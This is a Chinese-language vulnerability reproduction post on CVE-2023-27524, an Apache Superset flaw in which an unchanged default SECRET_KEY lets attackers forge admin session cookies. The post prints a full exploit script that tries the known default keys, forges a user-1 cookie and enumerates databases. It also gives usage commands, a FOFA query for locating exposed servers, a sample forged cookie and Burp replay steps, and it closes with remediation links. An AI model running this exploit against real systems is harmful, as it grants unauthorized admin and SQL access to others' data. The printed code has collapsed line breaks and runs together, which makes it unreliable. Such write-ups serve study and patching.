CVE-2023-27524:Apache Superset未授權訪問漏洞復現

文章目錄

  • ?Apache Superset 未授權訪問漏洞(CVE-2023-27524)復現
    • 0x01 前言
    • 0x02 漏洞描述
    • 0x03 影響版本
    • 0x04 漏洞環境
    • 0x05 漏洞復現
      • 1.訪問漏洞環境
      • 2.漏洞復現
    • 0x06 修復建議

?Apache Superset 未授權訪問漏洞(CVE-2023-27524)復現

0x01 前言

免責聲明:請勿利用文章內的相關技術從事非法測試,由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失,均由使用者本人負責,所產生的一切不良后果與文章作者無關。該文章僅供學習用途使用!!!

0x02 漏洞描述

Apache Superset是一個開源的數據可視化和數據探測平臺,它基于Python構建,使用了一些類似于Django和Flask的Python web框架。提供了一個用戶友好的界面,可以輕松地創建和共享儀表板、查詢和可視化數據,也可以集成到其他應用程序中。

由于Apache Superset存在不安全的默認配置,未根據安裝說明更改默認SECRET_KEY的系統受此漏洞影響,未經身份認證的遠程攻擊者利用此漏洞可以訪問未經授權的資源或執行惡意代碼。

0x03 影響版本

Apache Superset <= 2.0.1

0x04 漏洞環境

FOFA語法: “Apache Superset”
在這里插入圖片描述

0x05 漏洞復現

1.訪問漏洞環境

在這里插入圖片描述

2.漏洞復現

首先Apache Superset是基于python中的flask web框架編寫的,flask是一個python輕量級web框架,它的session存儲在客戶端的cookie字段中。為了防止session篡改,flask進行了如下的處理(代碼存放在flask模塊中sessions.py文件中):

"""The default session interface that stores sessions in signed cookies
through the :mod:`itsdangerous` module.
"""#: the salt that should be applied on top of the secret key for the
#: signing of cookie based sessions.
salt = "cookie-session"
#: the hash function to use for the signature. The default is sha1
digest_method = staticmethod(hashlib.sha1)
#: the name of the itsdangerous supported key derivation. The default
#: is hmac.
key_derivation = "hmac"
#: A python serializer for the payload. The default is a compact
#: JSON derived serializer with support for some extra Python types
#: such as datetime objects or tuples.
serializer = session_json_serializer
session_class = SecureCookieSessiondef get_signing_serializer(self, app):
if not app.secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation, digest_method=self.digest_method
)
return URLSafeTimedSerializer(
app.secret_key,
salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs,
)
……
……

使用漏洞利用工具 ,下載地址:

https://github.com/horizon3ai/CVE-2023-27524

from flask_unsign import session
import requests
import urllib3
import argparse
import re
from time import sleep
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)SECRET_KEYS = [b'\x02\x01thisismyscretkey\x01\x02\\e\\y\\y\\h',  # version < 1.4.1b'CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET',          # version >= 1.4.1b'thisISaSECRET_1234',                            # deployment templateb'YOUR_OWN_RANDOM_GENERATED_SECRET_KEY',          # documentationb'TEST_NON_DEV_SECRET'                            # docker compose
]def main():parser = argparse.ArgumentParser()parser.add_argument('--url', '-u', help='Base URL of Superset instance', required=True)parser.add_argument('--id', help='User ID to forge session cookie for, default=1', required=False, default='1')parser.add_argument('--validate', '-v', help='Validate login', required=False, action='store_true')parser.add_argument('--timeout', '-t', help='Time to wait before using forged session cookie, default=5s', required=False, type=int, default=5)args = parser.parse_args()try:u = args.url.rstrip('/') + '/login/'headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:101.0) Gecko/20100101 Firefox/101.0'}resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code != 200:print(f'Error retrieving login page at {u}, status code: {resp.status_code}')returnsession_cookie = Nonefor c in resp.cookies:if c.name == 'session':session_cookie = c.valuebreakif not session_cookie:print('Error: No session cookie found')returnprint(f'Got session cookie: {session_cookie}')try:decoded = session.decode(session_cookie)print(f'Decoded session cookie: {decoded}')except:print('Error: Not a Flask session cookie')returnmatch = re.search(r'&#34;version_string&#34;: &#34;(.*?)&#34', resp.text)if match:version = match.group(1)else:version = 'Unknown'print(f'Superset Version: {version}')for i, k in enumerate(SECRET_KEYS):cracked = session.verify(session_cookie, k)if cracked:breakif not cracked:print('Failed to crack session cookie')returnprint(f'Vulnerable to CVE-2023-27524 - Using default SECRET_KEY: {k}')try:user_id = int(args.id)except:user_id = args.idforged_cookie = session.sign({'_user_id': user_id, 'user_id': user_id}, k)print(f'Forged session cookie for user {user_id}: {forged_cookie}')if args.validate:validated = Falsetry:headers['Cookie'] = f'session={forged_cookie}'print(f'Sleeping {args.timeout} seconds before using forged cookie to account for time drift...')sleep(args.timeout)resp = requests.get(u, headers=headers, verify=False, timeout=30, allow_redirects=False)if resp.status_code == 302:print(f'Got 302 on login, forged cookie appears to have been accepted')validated = Trueelse:print(f'Got status code {resp.status_code} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')except Exception as e_inner:print(f'Got error {e_inner} on login instead of expected redirect 302. Forged cookie does not appear to be valid. Re-check user id.')if not validated:returnprint('Enumerating databases')for i in range(1, 101):database_url_base = args.url.rstrip('/') + '/api/v1/database'try:r = requests.get(f'{database_url_base}/{i}', headers=headers, verify=False, timeout=30, allow_redirects=False)if r.status_code == 200:result = r.json()['result'] # validate response is JSONname = result['database_name']print(f'Found database {name}')elif r.status_code == 404:print(f'Done enumerating databases')break # no more databaseselse:print(f'Unexpected error: status code={r.status_code}')breakexcept Exception as e_inner:print(f'Unexpected error: {e_inner}')breakexcept Exception as e:print(f'Unexpected error: {e}')if __name__ == '__main__':main()

PS:用法

python37 CVE-2023-27524.py -h
usage: CVE-2023-27524.py [-h] --url URL [--id ID] [--validate][--timeout TIMEOUT]optional arguments:-h, --help            show this help message and exit--url URL, -u URL     Base URL of Superset instance--id ID               User ID to forge session cookie for, default=1--validate, -v        Validate login--timeout TIMEOUT, -t TIMEOUTTime to wait before using forged session cookie,default=5s

然后執行如下命令,-u 后面跟你想要檢測的地址。

python3 CVE-2023-27524.py -u http://127.0.0.1/ --validate

攻擊者可以利用爆破出來的key偽造一個user_id值設置為1的會話cookie,以管理員身份登錄。在瀏覽器的本地存儲中設置偽造的會話 cookie 并刷新頁面允許攻擊者以管理員身份訪問應用程序。SQL Lab接口允許攻擊者對連接的數據庫運行任意SQL語句。根據數據庫用戶權限,攻擊者可以查詢、修改和刪除數據庫中的任何數據,以及在數據庫服務器上執行遠程代碼。若存在漏洞這里會爆出一個cookie值。

eyJfdXNlcl9pZCI6MSwidXNlcl9pZCI6MX0.ZV6v8g.KpbTtE1tzjCztMlt5PHsHYdOsU8
在這里插入圖片描述使用burp攔截請求包,這里是GET,也就是說不需要登錄,直接刷新獲取即可。
在這里插入圖片描述
替換上面的cookie值(替換為漏洞利用工具爆出來的cookie值)。替換后放開數據包,成功登錄進去Apache Superset 管理后臺 ,里面可以執行一些sql語句等操作(證明其有危害即可,不要隨意執行sql語句篡改數據)

在這里插入圖片描述

0x06 修復建議

1.臨時解決措施:
修改配置中的SECRET_KEY值,使用新的 SECRET_KEY 重新加密該信息,參考鏈接:

https://superset.apache.org/docs/installation/configuring-superset/#secret_key-rotation

2.目前廠商已發布升級補丁以修復漏洞,補丁獲取鏈接:

https://lists.apache.org/thread/n0ftx60sllf527j7g11kmt24wvof8xyk

參考鏈接
https://mp.weixin.qq.com/s/VVpurbMCYZ2gqaG-SV1Oug
https://www.cve.org/CVERecord?id=CVE-2023-27524

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/162415.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/162415.shtml
英文地址,請注明出處:http://en.pswp.cn/news/162415.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

在線工具收集

在線工具收集 1、在線P圖 https://www.photopea.com/ 一款類似于PS的在線摳圖軟件 ①去除圖片中的文字&#xff0c;并填充背景色 第一步&#xff1a;使用矩形選中要清除的文字 第二步&#xff1a;點擊編輯選擇填充 第三步&#xff1a;選擇內容識別&#xff0c;保留透明區域…

操作系統(七)| 設備管理-- 端口 驅動程序 基本I/O控制 磁盤I/O

文章目錄 1 設備管理概述1.1 系統總線結構1.2 設備控制器通用結構1.3 I/O設備的模型 2 I/O端口2.1 尋址方式 3 驅動程序4 基本I/O控制方式4.1 程序直接控制4.2 中斷I/O方式4.3 DMA方式4.4 I/O通道控制方式 5 I/O管理中的重要思想5.1 設備獨立性5.2 SPOOLing技術5.3 I/O軟件的多…

c語言 結構數組

為什么要使用結構數組&#xff1f; 例如有一種情況&#xff0c;我們需要存儲5名學生的數據。我們可以使用下面給出的結構來存儲它。 示例 #include<stdio.h> struct student { char name[20]; int id; float marks; }; void main() {struct student s1,s2,…

前端Date對象的使用錦集

Date 對象用于處理日期與時間。 創造對象 var d new Date(); var d new Date(milliseconds); // 參數為毫秒 var d new Date(dateString); var d new Date(year, month, day, hours, minutes, seconds, milliseconds);方法 getDate() 獲取當前日期對象是幾日(1-31) cons…

C++標準模板(STL)- 類型支持 (類型修改,添加 const 或/與 volatile 限定符到給定類型,std::add_cv)

類型特性 類型特性定義一個編譯時基于模板的結構&#xff0c;以查詢或修改類型的屬性。 試圖特化定義于 <type_traits> 頭文件的模板導致未定義行為&#xff0c;除了 std::common_type 可依照其所描述特化。 定義于<type_traits>頭文件的模板可以用不完整類型實例…

SAP的四種計量單位

在SAP中物料創建后&#xff0c;一旦發生業務&#xff0c;其基本計量單位便很難修改。由于單位無法滿足業務要求&#xff0c;往往會要求新建一個物料替代舊物料。這時候除了要將舊物料上所有的未清業務刪除外&#xff0c;還需要替換工藝與BOM中的舊物料。特別是當出現舊物料存在…

Linux學習筆記-Ubuntu下使用Crontab設置定時任務

文章目錄 一、概述二、基于crontab的設置2.1 基本命令說明2.2 使用-e指令編輯命令2.2.1 進入編輯模式2.2.2 指令信息格式2.2.4 開啟日志1) 修改rsyslog配置文件2) 重啟rsyslog3) 查看日志 2.2.3 設置后之后重啟服務 三、示例3.1 每隔一分鐘往文件中日期3.2 使用-l查看任務列表3…

越南服務器租用:企業在越南辦工廠的趨勢與當地(ERP/OA等)系統部署的重要性

近年來&#xff0c;越南逐漸成為全球企業布局的熱門目的地之一。許多企業紛紛選擇在越南設立工廠&#xff0c;以利用其低廉的勞動力成本和優越的地理位置。隨著企業在越南的擴張&#xff0c;對于當地部署ERP系統或OA系統等的需求也日益增長。在這種情況下&#xff0c;租用越南服…

上海亞商投顧:北證50指數持續大漲 短劇概念股再爆發

上海亞商投顧前言&#xff1a;無懼大盤漲跌&#xff0c;解密龍虎榜資金&#xff0c;跟蹤一線游資和機構資金動向&#xff0c;識別短期熱點和強勢個股。 一.市場情緒 滬指昨日震蕩調整&#xff0c;深成指跌超1.4%&#xff0c;創業板指跌超1.7%。北證50指數大漲超8%&#xff0c;…

ROS設置DHCP option121

配置時&#xff0c;了解格式很關鍵&#xff0c;16進制填寫格式如下&#xff1a; 將要訪問的IPV&#xff14;地址&#xff1a;192.168.100.0/24 192.168.30.254 轉換為&#xff1a;掩碼 目標網段 網關 0x18c0a864c0a81efe&#xff0c;0不用填寫 ROS配置如下圖&#xff1a; 抓…

02_使用API_String

StringBuilder StringBuilder 代表可變字符串對象&#xff0c;相對于是一個容器&#xff0c;它里面裝的字符串是可以改變的&#xff0c;就是用來操作字符串的好處&#xff1a;StringBuilder 比 String 更適合做字符串的修改操作&#xff0c;效率會更高&#xff0c;代碼也會更簡…

MacOS “xxxxx“,已損壞,無法打開,你應該將它移到廢紙簍

在這里插入圖片描述 解決方案 應用程序 - 實用工具中打開終端&#xff0c;輸入命令&#xff0c; sudo xattr -r -d com.apple.quarantine 然后將程序拖放至命令窗口&#xff0c;如下圖&#xff1a;

22. Spring源碼篇之推斷構造方法

簡介 很多時候我們的構造器都不止一個&#xff0c;那么spring怎么選擇的呢&#xff0c;簽名介紹了推斷構造方法的擴展點&#xff0c;可以使用Autowired注解去選擇使用哪個構造器&#xff0c;但是即使這樣也有可能有多個Autowired且required為false的構造器&#xff0c;那么還是…

QLineEdit響應editingFinished實現只響應一次

QLineEdit中editingFinished槽函數會在按下enter時響應兩次&#xff0c;分別是按下enter和失去焦點的時候&#xff0c;為了能讓 QLineEdit只響應其中一次&#xff0c;需定義一個全局變量m_bFlagEnter保存是否enter是否按下&#xff0c;按下后&#xff0c;則在失去焦點的時候做對…

Unity發布IOS后,使用xcode打包報錯:MapFileParser.sh:Permissiondenied

1.錯誤提示 使用xcode打包錯誤提示&#xff1a;/Users/mymac/Desktop/myproject/MapFileParser.sh: Permission denied 2.解決方案 打開控制臺輸入&#xff1a;chmod ax /Users/mymac/Desktop/myproject/MapFileParser.sh。按回車鍵執行&#xff0c;然后重新使用xcode發布程序…

【開源】基于JAVA的在線課程教學系統

項目編號&#xff1a; S 014 &#xff0c;文末獲取源碼。 \color{red}{項目編號&#xff1a;S014&#xff0c;文末獲取源碼。} 項目編號&#xff1a;S014&#xff0c;文末獲取源碼。 目錄 一、摘要1.1 系統介紹1.2 項目錄屏 二、研究內容2.1 課程類型管理模塊2.2 課程管理模塊2…

機器學習之數據清洗和預處理

目錄 Box_Cox Box_Cox Box-Cox變換是一種用于數據預處理和清洗的方法&#xff0c;旨在使數據更符合統計模型的假設&#xff0c;特別是對于線性回歸模型。這種變換通過調整數據的尺度和形狀&#xff0c;使其更加正態分布。 Box-Cox變換的定義是: y ( λ ) { y λ ? 1 λ , i…

【深度學習】卷積神經網絡(CNN)

一、引子————邊界檢測 我們來看一個最簡單的例子&#xff1a;“邊界檢測&#xff08;edge detection&#xff09;”&#xff0c;假設我們有這樣的一張圖片&#xff0c;大小88&#xff1a; 圖片中的數字代表該位置的像素值&#xff0c;我們知道&#xff0c;像素值越大&#…

QQ怎么備份聊天記錄?3個方法教你快速備份!

QQ聊天記錄作為用戶和親人、好友以及同事之間溝通的憑證&#xff0c;可以幫助我們回憶起過去的交流內容。如果我們不小心誤刪了QQ聊天記錄或者更換了新手機&#xff0c;那么這時候就需要備份聊天記錄。qq怎么備份聊天記錄呢&#xff1f;本文將介紹3個簡單方法&#xff0c;幫助您…

MySQL - 4種基本索引、聚簇索引和非聚索引、索引失效情況

目錄 一、索引 1.1、簡單介紹 1.2、索引的分類 1.2.1、主鍵索引 1.2.2、單值索引&#xff08;單列索引、普通索引&#xff09; 1.2.3、唯一索引 1.2.4、復合索引 1.2.5、復合索引經典問題 1.3、索引原理 1.3.1、主鍵自動排序 1.3.2、索引的底層原理 1.3.3、B 樹和 B…